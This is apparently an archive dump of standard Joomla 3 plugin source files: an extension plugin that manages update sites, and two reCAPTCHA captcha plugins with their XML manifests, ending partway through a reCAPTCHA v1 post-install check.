  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>PLG_EXTENSION_JCE_XML_DESCRIPTION</description>
	<files folder="plugins/extension/jce">
		<filename plugin="jce">jce.php</filename>
	</files>
	<languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_extension_jce.ini</language>
      <language tag="en-GB">en-GB.plg_extension_jce.sys.ini</language>
  </languages>
</extension>
PK�(]tx%$extension/joomla/joomla.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="extension" method="upgrade">
	<name>plg_extension_joomla</name>
	<author>Joomla! Project</author>
	<creationDate>May 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_EXTENSION_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_extension_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_extension_joomla.sys.ini</language>
	</languages>
</extension>
PK�(]�5��wwextension/joomla/joomla.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Extension.Joomla
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! master extension plugin.
 *
 * @since  1.6
 */
class PlgExtensionJoomla extends JPlugin
{
	/**
	 * @var    integer Extension Identifier
	 * @since  1.6
	 */
	private $eid = 0;

	/**
	 * @var    JInstaller Installer object
	 * @since  1.6
	 */
	private $installer = null;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Adds an update site to the table if it doesn't exist.
	 *
	 * @param   string   $name        The friendly name of the site
	 * @param   string   $type        The type of site (e.g. collection or extension)
	 * @param   string   $location    The URI for the site
	 * @param   boolean  $enabled     If this site is enabled
	 * @param   string   $extraQuery  Any additional request query to use when updating
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	private function addUpdateSite($name, $type, $location, $enabled, $extraQuery = '')
	{
		$db = JFactory::getDbo();

		// Look if the location is used already; doesn't matter what type you can't have two types at the same address, doesn't make sense
		$query = $db->getQuery(true)
			->select('update_site_id')
			->from('#__update_sites')
			->where('location = ' . $db->quote($location));
		$db->setQuery($query);
		$update_site_id = (int) $db->loadResult();

		// If it doesn't exist, add it!
		if (!$update_site_id)
		{
			$query->clear()
				->insert('#__update_sites')
				->columns(
					array(
						$db->quoteName('name'),
						$db->quoteName('type'),
						$db->quoteName('location'),
						$db->quoteName('enabled'),
						$db->quoteName('extra_query')
					)
				)
				->values(
					$db->quote($name) . ', '
					. $db->quote($type) . ', '
					// Trim to remove any whitespace from the XML file before saving the location to the db
					. $db->quote(trim($location)) . ', '
					. (int) $enabled . ', '
					. $db->quote($extraQuery)
				);
			$db->setQuery($query);

			if ($db->execute())
			{
				// Link up this extension to the update site
				$update_site_id = $db->insertid();
			}
		}

		// Check if it has an update site id (creation might have failed)
		if ($update_site_id)
		{
			// Look for an update site entry that exists
			$query->clear()
				->select('update_site_id')
				->from('#__update_sites_extensions')
				->where('update_site_id = ' . $update_site_id)
				->where('extension_id = ' . $this->eid);
			$db->setQuery($query);
			$tmpid = (int) $db->loadResult();

			if (!$tmpid)
			{
				// Link this extension to the relevant update site
				$query->clear()
					->insert('#__update_sites_extensions')
					->columns(array($db->quoteName('update_site_id'), $db->quoteName('extension_id')))
					->values($update_site_id . ', ' . $this->eid);
				$db->setQuery($query);
				$db->execute();
			}
		}
	}

	/**
	 * Handle post extension install update sites
	 *
	 * @param   JInstaller  $installer  Installer object
	 * @param   integer     $eid        Extension Identifier
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onExtensionAfterInstall($installer, $eid)
	{
		if ($eid)
		{
			$this->installer = $installer;
			$this->eid = $eid;

			// After an install we only need to do update sites
			$this->processUpdateSites();
		}
	}

	/**
	 * Handle extension uninstall
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 * @param   boolean     $result     Installation result
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onExtensionAfterUninstall($installer, $eid, $result)
	{
		// If we have a valid extension ID and the extension was successfully uninstalled wipe out any
		// update sites for it
		if ($eid && $result)
		{
			$db = JFactory::getDbo();
			$query = $db->getQuery(true)
				->delete('#__update_sites_extensions')
				->where('extension_id = ' . $eid);
			$db->setQuery($query);
			$db->execute();

			// Delete any unused update sites
			$query->clear()
				->select('update_site_id')
				->from('#__update_sites_extensions');
			$db->setQuery($query);
			$results = $db->loadColumn();

			if (is_array($results))
			{
				// So we need to delete the update sites and their associated updates
				$updatesite_delete = $db->getQuery(true);
				$updatesite_delete->delete('#__update_sites');
				$updatesite_query = $db->getQuery(true);
				$updatesite_query->select('update_site_id')
					->from('#__update_sites');

				// If we get results back then we can exclude them
				if (count($results))
				{
					$updatesite_query->where('update_site_id NOT IN (' . implode(',', $results) . ')');
					$updatesite_delete->where('update_site_id NOT IN (' . implode(',', $results) . ')');
				}

				// So let's find what update sites we're about to nuke and remove their associated extensions
				$db->setQuery($updatesite_query);
				$update_sites_pending_delete = $db->loadColumn();

				if (is_array($update_sites_pending_delete) && count($update_sites_pending_delete))
				{
					// Nuke any pending updates with this site before we delete it
					// TODO: investigate alternative of using a query after the delete below with a query and not in like above
					$query->clear()
						->delete('#__updates')
						->where('update_site_id IN (' . implode(',', $update_sites_pending_delete) . ')');
					$db->setQuery($query);
					$db->execute();
				}

				// Note: this might wipe out the entire table if there are no extensions linked
				$db->setQuery($updatesite_delete);
				$db->execute();
			}

			// Last but not least we wipe out any pending updates for the extension
			$query->clear()
				->delete('#__updates')
				->where('extension_id = ' . $eid);
			$db->setQuery($query);
			$db->execute();
		}
	}

	/**
	 * After update of an extension
	 *
	 * @param   JInstaller  $installer  Installer object
	 * @param   integer     $eid        Extension identifier
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onExtensionAfterUpdate($installer, $eid)
	{
		if ($eid)
		{
			$this->installer = $installer;
			$this->eid = $eid;

			// Handle any update sites
			$this->processUpdateSites();
		}
	}

	/**
	 * Processes the list of update sites for an extension.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	private function processUpdateSites()
	{
		$manifest      = $this->installer->getManifest();
		$updateservers = $manifest->updateservers;

		if ($updateservers)
		{
			$children = $updateservers->children();
		}
		else
		{
			$children = array();
		}

		if (count($children))
		{
			foreach ($children as $child)
			{
				$attrs = $child->attributes();
				$this->addUpdateSite($attrs['name'], $attrs['type'], trim($child), true, $this->installer->extraQuery);
			}
		}
		else
		{
			$data = trim((string) $updateservers);

			if ($data !== '')
			{
				// We have a single entry in the update server line, let us presume this is an extension line
				$this->addUpdateSite(JText::_('PLG_EXTENSION_JOOMLA_UNKNOWN_SITE'), 'extension', $data, true);
			}
		}
	}
}
PK�(]��
�
3captcha/recaptcha_invisible/recaptcha_invisible.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="captcha" method="upgrade">
	<name>plg_captcha_recaptcha_invisible</name>
	<version>3.8</version>
	<creationDate>November 2017</creationDate>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>(C) 2017 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<description>PLG_CAPTCHA_RECAPTCHA_INVISIBLE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="recaptcha_invisible">recaptcha_invisible.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_captcha_recaptcha_invisible.ini</language>
		<language tag="en-GB">en-GB.plg_captcha_recaptcha_invisible.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">

				<field
					name="public_key"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_PUBLIC_KEY_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_PUBLIC_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="private_key"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_PRIVATE_KEY_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_PRIVATE_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="badge"
					type="list"
					label="PLG_RECAPTCHA_INVISIBLE_BADGE_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_BADGE_DESC"
					default="bottomright"
					>
					<option value="bottomright">PLG_RECAPTCHA_INVISIBLE_BADGE_BOTTOMRIGHT</option>
					<option value="bottomleft">PLG_RECAPTCHA_INVISIBLE_BADGE_BOTTOMLEFT</option>
					<option value="inline">PLG_RECAPTCHA_INVISIBLE_BADGE_INLINE</option>
				</field>

				<field
					name="tabindex"
					type="number"
					label="PLG_RECAPTCHA_INVISIBLE_TABINDEX_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_TABINDEX_DESC"
					default="0"
					min="0"
					filter="integer"
				/>

				<field
					name="callback"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_CALLBACK_DESC"
					default=""
					filter="string"
				/>

				<field
					name="expired_callback"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_EXPIRED_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_EXPIRED_CALLBACK_DESC"
					default=""
					filter="string"
				/>

				<field
					name="error_callback"
					type="text"
					label="PLG_RECAPTCHA_INVISIBLE_ERROR_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_INVISIBLE_ERROR_CALLBACK_DESC"
					default=""
					filter="string"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]��y��3captcha/recaptcha_invisible/recaptcha_invisible.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Captcha
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Captcha\Google\HttpBridgePostRequestMethod;
use Joomla\Utilities\IpHelper;

/**
 * Invisible reCAPTCHA Plugin.
 *
 * @since  3.9.0
 */
class PlgCaptchaRecaptcha_Invisible extends \JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Reports the privacy related capabilities for this plugin to site administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_CAPTCHA_RECAPTCHA_INVISIBLE') => array(
				JText::_('PLG_RECAPTCHA_INVISIBLE_PRIVACY_CAPABILITY_IP_ADDRESS'),
			)
		);
	}

	/**
	 * Initialise the captcha
	 *
	 * @param   string  $id  The id of the field.
	 *
	 * @return  boolean	True on success, false otherwise
	 *
	 * @since   3.9.0
	 * @throws  \RuntimeException
	 */
	public function onInit($id = 'dynamic_recaptcha_invisible_1')
	{
		$pubkey = $this->params->get('public_key', '');

		if ($pubkey === '')
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_NO_PUBLIC_KEY'));
		}

		// Load callback first for browser compatibility
		\JHtml::_(
			'script',
			'plg_captcha_recaptcha_invisible/recaptcha.min.js',
			array('version' => 'auto', 'relative' => true),
			array('async' => 'async', 'defer' => 'defer')
		);

		// Load Google reCAPTCHA api js
		$file = 'https://www.google.com/recaptcha/api.js'
			. '?onload=JoomlaInitReCaptchaInvisible'
			. '&render=explicit'
			. '&hl=' . \JFactory::getLanguage()->getTag();
		\JHtml::_(
			'script',
			$file,
			array(),
			array('async' => 'async', 'defer' => 'defer')
		);

		return true;
	}

	/**
	 * Gets the challenge HTML
	 *
	 * @param   string  $name   The name of the field. Not Used.
	 * @param   string  $id     The id of the field.
	 * @param   string  $class  The class of the field.
	 *
	 * @return  string  The HTML to be embedded in the form.
	 *
	 * @since  3.9.0
	 */
	public function onDisplay($name = null, $id = 'dynamic_recaptcha_invisible_1', $class = '')
	{
		$dom = new \DOMDocument('1.0', 'UTF-8');
		$ele = $dom->createElement('div');
		$ele->setAttribute('id', $id);
		$ele->setAttribute('class', ((trim($class) == '') ? 'g-recaptcha' : ($class . ' g-recaptcha')));
		$ele->setAttribute('data-sitekey', $this->params->get('public_key', ''));
		$ele->setAttribute('data-badge', $this->params->get('badge', 'bottomright'));
		$ele->setAttribute('data-size', 'invisible');
		$ele->setAttribute('data-tabindex', $this->params->get('tabindex', '0'));
		$ele->setAttribute('data-callback', $this->params->get('callback', ''));
		$ele->setAttribute('data-expired-callback', $this->params->get('expired_callback', ''));
		$ele->setAttribute('data-error-callback', $this->params->get('error_callback', ''));
		$dom->appendChild($ele);

		return $dom->saveHTML($ele);
	}

	/**
	 * Calls an HTTP POST function to verify if the user's guess was correct
	 *
	 * @param   string  $code  Answer provided by user. Not needed for the Recaptcha implementation
	 *
	 * @return  boolean  True if the answer is correct, false otherwise
	 *
	 * @since   3.9.0
	 * @throws  \RuntimeException
	 */
	public function onCheckAnswer($code = null)
	{
		$input      = \JFactory::getApplication()->input;
		$privatekey = $this->params->get('private_key');
		$remoteip   = IpHelper::getIp();

		$response  = $input->get('g-recaptcha-response', '', 'string');

		// Check for Private Key
		if (empty($privatekey))
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_NO_PRIVATE_KEY'));
		}

		// Check for IP
		if (empty($remoteip))
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_NO_IP'));
		}

		// Discard spam submissions
		if (trim($response) == '')
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_INVISIBLE_ERROR_EMPTY_SOLUTION'));
		}

		return $this->getResponse($privatekey, $remoteip, $response);
	}

	/**
	 * Method to react on the setup of a captcha field. Gives the possibility
	 * to change the field and/or the XML element for the field.
	 *
	 * @param   \Joomla\CMS\Form\Field\CaptchaField  $field    Captcha field instance
	 * @param   \SimpleXMLElement                    $element  XML form definition
	 *
	 * @return void
	 *
	 * @since 3.9.0
	 */
	public function onSetupField(\Joomla\CMS\Form\Field\CaptchaField $field, \SimpleXMLElement $element)
	{
		// Hide the label for the invisible recaptcha type
		$element['hiddenLabel'] = true;
	}

	/**
	 * Get the reCaptcha response.
	 *
	 * @param   string  $privatekey  The private key for authentication.
	 * @param   string  $remoteip    The remote IP of the visitor.
	 * @param   string  $response    The response received from Google.
	 *
	 * @return  boolean  True if response is good | False if response is bad.
	 *
	 * @since   3.9.0
	 * @throws  \RuntimeException
	 */
	private function getResponse($privatekey, $remoteip, $response)
	{
		$reCaptcha = new \ReCaptcha\ReCaptcha($privatekey, new HttpBridgePostRequestMethod);
		$response = $reCaptcha->verify($response, $remoteip);

		if (!$response->isSuccess())
		{
			foreach ($response->getErrorCodes() as $error)
			{
				throw new \RuntimeException($error);
			}

			return false;
		}

		return true;
	}
}
PK�(]9t�V&V&captcha/recaptcha/recaptcha.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Captcha
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Captcha\Google\HttpBridgePostRequestMethod;
use Joomla\Utilities\IpHelper;

/**
 * Recaptcha Plugin
 * Based on the official recaptcha library( https://packagist.org/packages/google/recaptcha )
 *
 * @since  2.5
 */
class PlgCaptchaRecaptcha extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Reports the privacy related capabilities for this plugin to site administrators.
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCollectAdminCapabilities()
	{
		$this->loadLanguage();

		return array(
			JText::_('PLG_CAPTCHA_RECAPTCHA') => array(
				JText::_('PLG_RECAPTCHA_PRIVACY_CAPABILITY_IP_ADDRESS'),
			)
		);
	}

	/**
	 * Initialise the captcha
	 *
	 * @param   string  $id  The id of the field.
	 *
	 * @return  Boolean	True on success, false otherwise
	 *
	 * @since   2.5
	 * @throws  \RuntimeException
	 */
	public function onInit($id = 'dynamic_recaptcha_1')
	{
		$pubkey = $this->params->get('public_key', '');

		if ($pubkey === '')
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_NO_PUBLIC_KEY'));
		}

		if ($this->params->get('version', '1.0') === '1.0')
		{
			JHtml::_('jquery.framework');

			$theme  = $this->params->get('theme', 'clean');
			$file   = 'https://www.google.com/recaptcha/api/js/recaptcha_ajax.js';

			JHtml::_('script', $file);
			JFactory::getDocument()->addScriptDeclaration('jQuery( document ).ready(function()
				{Recaptcha.create("' . $pubkey . '", "' . $id . '", {theme: "' . $theme . '",' . $this->_getLanguage() . 'tabindex: 0});});');
		}
		else
		{
			// Load callback first for browser compatibility
			JHtml::_('script', 'plg_captcha_recaptcha/recaptcha.min.js', array('version' => 'auto', 'relative' => true));

			$file = 'https://www.google.com/recaptcha/api.js?onload=JoomlaInitReCaptcha2&render=explicit&hl=' . JFactory::getLanguage()->getTag();
			JHtml::_('script', $file);
		}

		return true;
	}

	/**
	 * Gets the challenge HTML
	 *
	 * @param   string  $name   The name of the field. Not Used.
	 * @param   string  $id     The id of the field.
	 * @param   string  $class  The class of the field.
	 *
	 * @return  string  The HTML to be embedded in the form.
	 *
	 * @since  2.5
	 */
	public function onDisplay($name = null, $id = 'dynamic_recaptcha_1', $class = '')
	{
		$dom = new \DOMDocument('1.0', 'UTF-8');
		$ele = $dom->createElement('div');
		$ele->setAttribute('id', $id);

		if ($this->params->get('version', '1.0') === '1.0')
		{
			$ele->setAttribute('class', $class);
		}
		else
		{
			$ele->setAttribute('class', ((trim($class) == '') ? 'g-recaptcha' : ($class . ' g-recaptcha')));
			$ele->setAttribute('data-sitekey', $this->params->get('public_key', ''));
			$ele->setAttribute('data-theme', $this->params->get('theme2', 'light'));
			$ele->setAttribute('data-size', $this->params->get('size', 'normal'));
			$ele->setAttribute('data-tabindex', $this->params->get('tabindex', '0'));
			$ele->setAttribute('data-callback', $this->params->get('callback', ''));
			$ele->setAttribute('data-expired-callback', $this->params->get('expired_callback', ''));
			$ele->setAttribute('data-error-callback', $this->params->get('error_callback', ''));
		}

		$dom->appendChild($ele);
		return $dom->saveHTML($ele);
	}

	/**
	 * Calls an HTTP POST function to verify if the user's guess was correct
	 *
	 * @param   string  $code  Answer provided by user. Not needed for the Recaptcha implementation
	 *
	 * @return  True if the answer is correct, false otherwise
	 *
	 * @since   2.5
	 * @throws  \RuntimeException
	 */
	public function onCheckAnswer($code = null)
	{
		$input      = \JFactory::getApplication()->input;
		$privatekey = $this->params->get('private_key');
		$version    = $this->params->get('version', '1.0');
		$remoteip   = IpHelper::getIp();

		switch ($version)
		{
			case '1.0':
				$challenge = $input->get('recaptcha_challenge_field', '', 'string');
				$response  = $code ? $code : $input->get('recaptcha_response_field', '', 'string');
				$spam      = ($challenge === '' || $response === '');
				break;
			case '2.0':
				// Challenge Not needed in 2.0 but needed for getResponse call
				$challenge = null;
				$response  = $code ? $code : $input->get('g-recaptcha-response', '', 'string');
				$spam      = ($response === '');
				break;
		}

		// Check for Private Key
		if (empty($privatekey))
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_NO_PRIVATE_KEY'));
		}

		// Check for IP
		if (empty($remoteip))
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_NO_IP'));
		}

		// Discard spam submissions
		if ($spam)
		{
			throw new \RuntimeException(JText::_('PLG_RECAPTCHA_ERROR_EMPTY_SOLUTION'));
		}

		return $this->getResponse($privatekey, $remoteip, $response, $challenge);
	}

	/**
	 * Get the reCaptcha response.
	 *
	 * @param   string  $privatekey  The private key for authentication.
	 * @param   string  $remoteip    The remote IP of the visitor.
	 * @param   string  $response    The response received from Google.
	 * @param   string  $challenge   The challenge field from the reCaptcha. Only for 1.0
	 *
	 * @return bool True if response is good | False if response is bad.
	 *
	 * @since   3.4
	 * @throws  \RuntimeException
	 */
	private function getResponse($privatekey, $remoteip, $response, $challenge = null)
	{
		$version = $this->params->get('version', '1.0');

		switch ($version)
		{
			case '1.0':
				$response = $this->_recaptcha_http_post(
					'www.google.com', '/recaptcha/api/verify',
					array(
						'privatekey' => $privatekey,
						'remoteip'   => $remoteip,
						'challenge'  => $challenge,
						'response'   => $response
					)
				);

				$answers = explode("\n", $response[1]);

				if (trim($answers[0]) !== 'true')
				{
					// @todo use exceptions here
					$this->_subject->setError(JText::_('PLG_RECAPTCHA_ERROR_' . strtoupper(str_replace('-', '_', $answers[1]))));

					return false;
				}
				break;
			case '2.0':
				$reCaptcha = new \ReCaptcha\ReCaptcha($privatekey, new HttpBridgePostRequestMethod);
				$response = $reCaptcha->verify($response, $remoteip);

				if (!$response->isSuccess())
				{
					foreach ($response->getErrorCodes() as $error)
					{
						throw new \RuntimeException($error);
					}

					return false;
				}
				break;
		}

		return true;
	}

	/**
	 * Encodes the given data into a query string format.
	 *
	 * @param   array  $data  Array of string elements to be encoded
	 *
	 * @return  string  Encoded request
	 *
	 * @since  2.5
	 */
	private function _recaptcha_qsencode($data)
	{
		$req = '';

		foreach ($data as $key => $value)
		{
			$req .= $key . '=' . urlencode(stripslashes($value)) . '&';
		}

		// Cut the last '&'
		$req = rtrim($req, '&');

		return $req;
	}

	/**
	 * Submits an HTTP POST to a reCAPTCHA server.
	 *
	 * @param   string  $host  Host name to POST to.
	 * @param   string  $path  Path on host to POST to.
	 * @param   array   $data  Data to be POSTed.
	 * @param   int     $port  Optional port number on host.
	 *
	 * @return  array   Response
	 *
	 * @since  2.5
	 */
	private function _recaptcha_http_post($host, $path, $data, $port = 80)
	{
		$req = $this->_recaptcha_qsencode($data);

		$http_request  = "POST $path HTTP/1.0\r\n";
		$http_request .= "Host: $host\r\n";
		$http_request .= "Content-Type: application/x-www-form-urlencoded;\r\n";
		$http_request .= "Content-Length: " . strlen($req) . "\r\n";
		$http_request .= "User-Agent: reCAPTCHA/PHP\r\n";
		$http_request .= "\r\n";
		$http_request .= $req;

		$response = '';

		if (($fs = @fsockopen($host, $port, $errno, $errstr, 10)) === false)
		{
			die('Could not open socket');
		}

		fwrite($fs, $http_request);

		while (!feof($fs))
		{
			// One TCP-IP packet
			$response .= fgets($fs, 1160);
		}

		fclose($fs);
		$response = explode("\r\n\r\n", $response, 2);

		return $response;
	}

	/**
	 * Get the language tag or a custom translation
	 *
	 * @return  string
	 *
	 * @since  2.5
	 */
	private function _getLanguage()
	{
		$language = JFactory::getLanguage();

		$tag = explode('-', $language->getTag());
		$tag = $tag[0];
		$available = array('en', 'pt', 'fr', 'de', 'nl', 'ru', 'es', 'tr');

		if (in_array($tag, $available))
		{
			return "lang : '" . $tag . "',";
		}

		// If the default language is not available, let's search for a custom translation
		if ($language->hasKey('PLG_RECAPTCHA_CUSTOM_LANG'))
		{
			$custom[] = 'custom_translations : {';
			$custom[] = "\t" . 'instructions_visual : "' . JText::_('PLG_RECAPTCHA_INSTRUCTIONS_VISUAL') . '",';
			$custom[] = "\t" . 'instructions_audio : "' . JText::_('PLG_RECAPTCHA_INSTRUCTIONS_AUDIO') . '",';
			$custom[] = "\t" . 'play_again : "' . JText::_('PLG_RECAPTCHA_PLAY_AGAIN') . '",';
			$custom[] = "\t" . 'cant_hear_this : "' . JText::_('PLG_RECAPTCHA_CANT_HEAR_THIS') . '",';
			$custom[] = "\t" . 'visual_challenge : "' . JText::_('PLG_RECAPTCHA_VISUAL_CHALLENGE') . '",';
			$custom[] = "\t" . 'audio_challenge : "' . JText::_('PLG_RECAPTCHA_AUDIO_CHALLENGE') . '",';
			$custom[] = "\t" . 'refresh_btn : "' . JText::_('PLG_RECAPTCHA_REFRESH_BTN') . '",';
			$custom[] = "\t" . 'help_btn : "' . JText::_('PLG_RECAPTCHA_HELP_BTN') . '",';
			$custom[] = "\t" . 'incorrect_try_again : "' . JText::_('PLG_RECAPTCHA_INCORRECT_TRY_AGAIN') . '",';
			$custom[] = '},';
			$custom[] = "lang : '" . $tag . "',";

			return implode("\n", $custom);
		}

		// If nothing helps fall back to english
		return '';
	}
}
PK�(]��captcha/recaptcha/recaptcha.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.4" type="plugin" group="captcha" method="upgrade">
	<name>plg_captcha_recaptcha</name>
	<version>3.4.0</version>
	<creationDate>December 2011</creationDate>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<description>PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="recaptcha">recaptcha.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_captcha_recaptcha.ini</language>
		<language tag="en-GB">en-GB.plg_captcha_recaptcha.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="message"
					type="note"
					label="PLG_RECAPTCHA_VERSION_1_WARNING_LABEL"
					showon="version:1.0"
				/>

				<field
					name="version"
					type="list"
					label="PLG_RECAPTCHA_VERSION_LABEL"
					description="PLG_RECAPTCHA_VERSION_DESC"
					default="2.0"
					size="1"
					>
					<option value="1.0">PLG_RECAPTCHA_VERSION_V1</option>
					<option value="2.0">PLG_RECAPTCHA_VERSION_V2</option>
				</field>

				<field
					name="public_key"
					type="text"
					label="PLG_RECAPTCHA_PUBLIC_KEY_LABEL"
					description="PLG_RECAPTCHA_PUBLIC_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="private_key"
					type="text"
					label="PLG_RECAPTCHA_PRIVATE_KEY_LABEL"
					description="PLG_RECAPTCHA_PRIVATE_KEY_DESC"
					default=""
					required="true"
					filter="string"
					size="100"
					class="input-xxlarge"
				/>

				<field
					name="theme"
					type="list"
					label="PLG_RECAPTCHA_THEME_LABEL"
					description="PLG_RECAPTCHA_THEME_DESC"
					default="clean"
					showon="version:1.0"
					filter=""
					>
					<option value="clean">PLG_RECAPTCHA_THEME_CLEAN</option>
					<option value="white">PLG_RECAPTCHA_THEME_WHITE</option>
					<option value="blackglass">PLG_RECAPTCHA_THEME_BLACKGLASS</option>
					<option value="red">PLG_RECAPTCHA_THEME_RED</option>
				</field>

				<field
					name="theme2"
					type="list"
					label="PLG_RECAPTCHA_THEME_LABEL"
					description="PLG_RECAPTCHA_THEME_DESC"
					default="light"
					showon="version:2.0"
					filter=""
					>
					<option value="light">PLG_RECAPTCHA_THEME_LIGHT</option>
					<option value="dark">PLG_RECAPTCHA_THEME_DARK</option>
				</field>

				<field
					name="size"
					type="list"
					label="PLG_RECAPTCHA_SIZE_LABEL"
					description="PLG_RECAPTCHA_SIZE_DESC"
					default="normal"
					showon="version:2.0"
					filter=""
					>
					<option value="normal">PLG_RECAPTCHA_THEME_NORMAL</option>
					<option value="compact">PLG_RECAPTCHA_THEME_COMPACT</option>
				</field>

				<field
					name="tabindex"
					type="number"
					label="PLG_RECAPTCHA_TABINDEX_LABEL"
					description="PLG_RECAPTCHA_TABINDEX_DESC"
					default="0"
					showon="version:2.0"
					min="0"
				/>

				<field
					name="callback"
					type="text"
					label="PLG_RECAPTCHA_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_CALLBACK_DESC"
					default=""
					showon="version:2.0"
					filter="string"
				/>

				<field
					name="expired_callback"
					type="text"
					label="PLG_RECAPTCHA_EXPIRED_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_EXPIRED_CALLBACK_DESC"
					default=""
					showon="version:2.0"
					filter="string"
				/>

				<field
					name="error_callback"
					type="text"
					label="PLG_RECAPTCHA_ERROR_CALLBACK_LABEL"
					description="PLG_RECAPTCHA_ERROR_CALLBACK_DESC"
					default=""
					showon="version:2.0"
					filter="string"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�-4�)captcha/recaptcha/postinstall/actions.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Captcha
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains the functions used by the com_postinstall code to deliver
 * the necessary post-installation messages for the end of life of reCAPTCHA V1.
 */

/**
 * Checks if the plugin is enabled and reCAPTCHA V1 is being used. If true then the
 * message about reCAPTCHA v1 EOL should be displayed.
 *
 * @return  boolean
 *
 * @since  3.8.6
 */
function recaptcha_postinstall_condition()
{
	$db = JFactory::getDbo();

	$query = $db->getQuery(true)
		->select('1')
		->from($db->qn('#__extensions'))
		->where($db->qn('name') . ' = ' . $db->q('plg_captcha_recaptcha'))
		->where($db->qn('enabled') . ' = 1')
		->where($db->qn('params') . ' LIKE ' . $db->q('%1.0%'));
	$db->setQuery($query);
	$enabled_plugins = $db->loadObjectList();

	return count($enabled_plugins) === 1;
}

/**
 * Open the reCAPTCHA plugin so that they can update the settings to V2 and new keys.
 *
 * @return  void
